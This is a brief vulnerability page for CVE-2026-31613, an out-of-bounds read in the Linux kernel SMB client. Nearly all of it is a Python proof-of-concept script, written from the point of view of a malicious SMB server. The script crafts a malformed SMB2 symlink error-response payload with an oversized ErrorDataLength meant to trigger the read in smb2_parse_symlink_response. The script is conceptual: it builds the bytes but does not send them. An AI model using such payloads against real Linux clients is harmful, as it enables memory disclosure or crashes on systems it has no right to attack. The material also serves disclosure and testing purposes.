CVE-2026-31613 Linux内核SMB客户端越界读取漏洞

# PoC Concept for CVE-2026-31613 # This script demonstrates the logic for a malicious SMB server # to trigger the OOB read in a vulnerable Linux kernel client. import struct # Simulate crafting the Error Context data # The goal is to set ErrorDataLength such that 'p' advances # close to 'end', causing the next loop iteration to read OOB. def craft_malformed_symlink_response(): # SMB2 SYMLINK Error Response structure header_size = 8 # Standard header size # We simulate an ErrorContext that pushes the boundary # ErrorDataLength needs to be aligned to 8 bytes # Let's assume we want to read 4 bytes past the buffer. # The parser reads p->ErrorId (offset 4) and p->ErrorDataLength (offset 0). # Malicious payload construction error_id = 0x00160000 # Example Error ID # Craft length to cause OOB in the next iteration or header read error_data_length = 0xFFFF # Excessive length or specific boundary value # In a real exploit, this would be sent in the SMB CREATE Response # with Status = STATUS_STOPPED_ON_SYMLINK payload = struct.pack('<I', error_data_length) payload += struct.pack('<I', error_id) return payload print("[!] Malicious SMB Symlink Response Payload Generated") print("[!] This payload aims to trigger OOB read in smb2_parse_symlink_response")